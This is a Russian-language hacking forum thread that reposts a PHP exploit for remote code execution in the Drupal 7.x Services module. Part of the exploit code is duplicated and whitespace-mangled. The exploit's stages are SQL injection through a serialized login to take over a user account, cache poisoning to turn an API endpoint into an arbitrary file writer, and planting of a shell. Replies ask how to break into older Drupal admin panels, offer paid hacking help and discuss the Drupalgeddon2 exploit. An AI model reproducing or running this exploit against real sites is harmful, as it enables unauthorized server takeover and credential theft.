cache_reset($endpoint,$cache);
if(!(isset($json[0]) &&$json[0] ===strlen($file['data'])))
{
e("Failed to write file.");
}
$file_url=$url.'/'.$file['filename'];
x("File written:$file_url");
# HTTP Browser
classBrowser
{
private$url;
private$controller=CONTROLLER;
private$action=ACTION;
function__construct($url)
{
$this->url=$url;
}
functionpost($type,$data)
{
$headers= [
"Accept: ".TYPE_JSON,
"Content-Type:$type",
"Content-Length: ".strlen($data)
];
$url=$this->url.'/'.$this->controller.'/'.$this->action;
$s=curl_init();
curl_setopt($s,CURLOPT_URL,$url);
curl_setopt($s,CURLOPT_HTTPHEADER,$headers);
curl_setopt($s,CURLOPT_POST,1);
curl_setopt($s,CURLOPT_POSTFIELDS,$data);
curl_setopt($s,CURLOPT_RETURNTRANSFER,true);
curl_setopt($s,CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($s,CURLOPT_SSL_VERIFYPEER,0);
$output=curl_exec($s);
$error=curl_error($s);
curl_close($s);
if($error)
{
e("cURL:$error");
}
returnjson_decode($output);
}
}
# Cache
functioncache_poison($endpoint,$cache)
{
$tr= newThemeRegistry($cache,$endpoint,CONTROLLER ,ACTION);
cache_edit($tr);
}
functioncache_reset($endpoint,$cache)
{
$tr= newThemeRegistry($cache,$endpoint,null,null) ;
cache_edit($tr);
}
functioncache_edit($tr)
{
global$browser;
$data=serialize([$tr]);
$json=$browser->post(TYPE_PHP,$data);
}
# Utils
functionx($message)
{
print("$message\n");
}
functione($message)
{
x($message);
exit(1);
}
functionstore($name,$data)
{
$filename="$name.json";
file_put_contents($filename,json_encode($data,JSON _PRETTY_PRINT));
x("Stored$nameinformation in$filename");
}
Всем срочно обновляться =)
Источник : Здесь (https://www.ambionics.io/blog/drupal-services-module-rce)
Drupal 7.x Services Module Remote Code Execution
#!/usr/bin/php
''dixuSOspsOUU.php'',
''data'' => ''''
];
$browser = new Browser($url . $endpoint_path);
# Stage 1: SQL Injection
class DatabaseCondition
{
protected $conditions = [
"#conjunction" => "AND"
];
protected $arguments = [];
protected $changed = false;
protected $queryPlaceholderIdentifier = null;
public $stringVersion = null;
public function __construct($stringVersion=null)
{
$this->stringVersion = $stringVersion;
if(!isset($stringVersion))
{
$this->changed = true;
$this->stringVersion = null;
}
}
}
class SelectQueryExtender {
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is controlled by
us.
protected $query = null;
protected $uniqueIdentifier = QID;
protected $connection;
protected $placeholder = 0;
public function __construct($sql)
{
$this->query = new DatabaseCondition($sql);
}
}
$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid=''$cache_id''";
$password_hash = ''$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd'';
# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query =
"0x3a) UNION SELECT ux.uid AS uid, " .
"ux.name AS name, ''$password_hash'' AS pass, " .
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
"ux.pass AS signature_format, ux.created AS created, " .
"ux.access AS access, ux.login AS login, ux.status AS status, " .
"ux.timezone AS timezone, ux.language AS language, ux.picture " .
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
"WHERE ux.uid<>(0"
;
$query = new SelectQueryExtender($query);
$data = [''username'' => $query, ''password'' => ''ouvreboite''];
$data = serialize($data);
$json = $browser->post(TYPE_PHP, $data);
# If this worked, the rest will as well
if(!isset($json->user))
{
print_r($json);
e("Failed to login with fake password");
}
# Store session and user data
$session = [
''session_name'' => $json->session_name,
''session_id'' => $json->sessid,
''token'' => $json->token
];
store(''session'', $session);
$user = $json->user;
# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);
# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);
store(''user'', $user);
if($cache === false)
{
e("Unable to obtains endpoint''s cache value");
}
x("Cache contains " . sizeof($cache) . " entries");
# Stage 2: Change endpoint''s behaviour to write a shell
class DrupalCacheArray
{
# Cache ID
protected $cid = "services:endpoint_name:resources";
# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
protected $bin = ''cache'';
protected $keysToPersist = [];
protected $storage = [];
function __construct($storage, $endpoint, $controller, $action) {
$settings = [
''services'' => [''resource_api_version'' => ''1.0'']
];
$this->cid = "services:$endpoint:resources";
# If no endpoint is given, just reset the original values
if(isset($controller))
{
$storage[$controller][''actions''][$action] = [
''help'' => ''Writes data to a file'',
# Callback function
''callback'' => ''file_put_contents'',
# This one does not accept "true" as Drupal does,
# so we just go for a tautology
''access callback'' => ''is_string'',
''access arguments'' => [''a string''],
# Arguments given through POST
''args'' => [
0 => [
''name'' => ''filename'',
''type'' => ''string'',
''description'' => ''Path to the file'',
''source'' => [''data'' => ''filename''],
''optional'' => false,
],
1 => [
''name'' => ''data'',
''type'' => ''string'',
''description'' => ''The data to write'',
''source'' => [''data'' => ''data''],
''optional'' => false,
],
],
''file'' => [
''type'' => ''inc'',
''module'' => ''services'',
''name'' => ''resources/user_resource'',
],
''endpoint'' => $settings
];
$storage[$controller][''endpoint''][''actions''] += [
$action => [
''enabled'' => 1,
''settings'' => $settings
]
];
}
$this->storage = $storage;
$this->keysToPersist = array_fill_keys(array_keys($storage), true);
}
}
class ThemeRegistry Extends DrupalCacheArray {
protected $persistable;
protected $completeRegistry;
}
cache_poison($endpoint, $cache);
# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));
# Stage 3: Restore endpoint''s behaviour
cache_reset($endpoint, $cache);
if(!(isset($json[0]) && $json[0] === strlen($file[''data''])))
{
e("Failed to write file.");
}
$file_url = $url . ''/'' . $file[''filename''];
x("File written: $file_url");
# HTTP Browser
class Browser
{
private $url;
private $controller = CONTROLLER;
private $action = ACTION;
function __construct($url)
{
$this->url = $url;
}
function post($type, $data)
{
$headers = [
"Accept: " . TYPE_JSON,
"Content-Type: $type",
"Content-Length: " . strlen($data)
];
$url = $this->url . ''/'' . $this->controller . ''/'' . $this->action;
$s = curl_init();
curl_setopt($s, CURLOPT_URL, $url);
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
curl_setopt($s, CURLOPT_POST, 1);
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($s);
$error = curl_error($s);
curl_close($s);
if($error)
{
e("cURL: $error");
}
return json_decode($output);
}
}
# Cache
function cache_poison($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
cache_edit($tr);
}
function cache_reset($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, null, null);
cache_edit($tr);
}
function cache_edit($tr)
{
global $browser;
$data = serialize([$tr]);
$json = $browser->post(TYPE_PHP, $data);
}
# Utils
function x($message)
{
print("$message\n");
}
function e($message)
{
x($message);
exit(1);
}
function store($name, $data)
{
$filename = "$name.json";
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
x("Stored $name information in $filename");
}
karkajoi
10.03.2017, 16:32
Зачем 2 одинаковых поста?
mazaxaka
26.03.2017, 01:40
вечно ругается на эту строку "28" $file = [
leokomaro
02.05.2017, 14:31
может кто то с 6.22 помочь на возмездной основе?
ellococareloco
03.06.2017, 02:17
[Quote = "leokomaro, de la publicación: 4079266, miembro de: 302606"] alguien puede ayudar con un 6,22 sobre una base reembolsable [/ quote]?
https://cxsecurity.com/issue/WLB-2016070020
alguien sabe otra vulnerabilidad a 6.22?
leokomaro
19.06.2017, 21:44
CVE-2016-3168 вот это кто нибудь может объяснить как использовать?
Пацаны,
Drupal 6.28, 2013-01-16
----------------------
- Fixed security issues (multiple vulnerabilities), see SA-CORE-2013-001.
реально ли это взломать?
salam477
09.10.2017, 01:49
Подскажите, возможен в друпале xmlrpc брут?
в wp все предельно просто, делаешь xml Запрос с параметрами и все работает, а какие параметры у друпала? информация в сети очень древняя.
Если это реально, можно пример?
Паблик экспа Drupalgeddon2 только при открытой реги отрабатывает?
Тот_самый_Щуп
07.05.2018, 03:06
↑ (https://antichat.live/posts/4203939/)
Паблик экспа Drupalgeddon2 только при открытой реги отрабатывает?
Паблик экспа Drupalgeddon2 ни в каком случае не отрабатывает, защита от дурака стоит.
↑ (https://antichat.live/posts/4207787/)
Паблик экспа Drupalgeddon2 ни в каком случае не отрабатывает, защита от дурака стоит.
Спасибо, кэп
xakepok777
19.12.2018, 11:46
есть какие нибудь уязвимости drupal 6.38 и как взломать админку?
↑ (https://antichat.live/posts/4058160/)
DRUPAL 7.X SERVICES MODULE UNSERIALIZE() TO RCE
поставил 7.54 (как в эксплойте) прописал адрес
запускаю эксплойт - выдаёт "Failed to login with fake password"
задним числом пофиксили дистрибутивы или что то не так делаю?
DescargaR
12.01.2021, 19:31
Ребята подскажите, как найти админ панель Drupal если его изменили ?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot